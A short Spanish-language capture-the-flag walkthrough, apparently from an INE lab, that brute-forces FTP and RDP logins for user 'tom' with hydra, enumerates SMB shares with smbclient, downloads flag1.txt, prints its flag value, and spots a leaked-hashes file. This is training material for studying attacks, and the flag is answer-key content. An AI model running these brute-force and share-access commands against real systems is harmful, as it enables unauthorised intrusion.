Pistas:

1. Looks like smb user tom has not changed his password from a very long time.
2. Using the NTLM hash list discovered in the previous challenge, can you compromise the smb user nancy?
3. I wonder what the hint found in the previous challenge be useful for!
4. Can you compromise the target machine and retrieve the C://flag4.txt file?

Empezamos con la primera, probamos brute force y vemos que imposible al protocolo smb, a si que hacemos brute force a ftp y rdp :

hydra -l tom /usr/share/wordlists/metasploit/unix_passwords.txt 10.2.28.210 ftp

hydra -l tom -P /usr/share/wordlists/metasploit/unix_passwords.txt 10.2.28.210 rdp

En el ataque rdp vemos que esta deshabilitado el usuario pero vemos una password felipe

Usamos smbclient para ver los shares:

smbclient -L target.ine.local -U tom

Procedemos a ver shares y solo tenemos acceso a HRDocuments :

smbclient //target.ine.local/HRDocuments -U tom 

Descargamos flag1.txt :

get flag1.txt

La leemos y vemos que flag1.txt es 239c82e5d0264559beaedcb23ebd7ce5

Tambien vemos un .txt sospechoso en los shares de smb llamado leaked-hashes.txt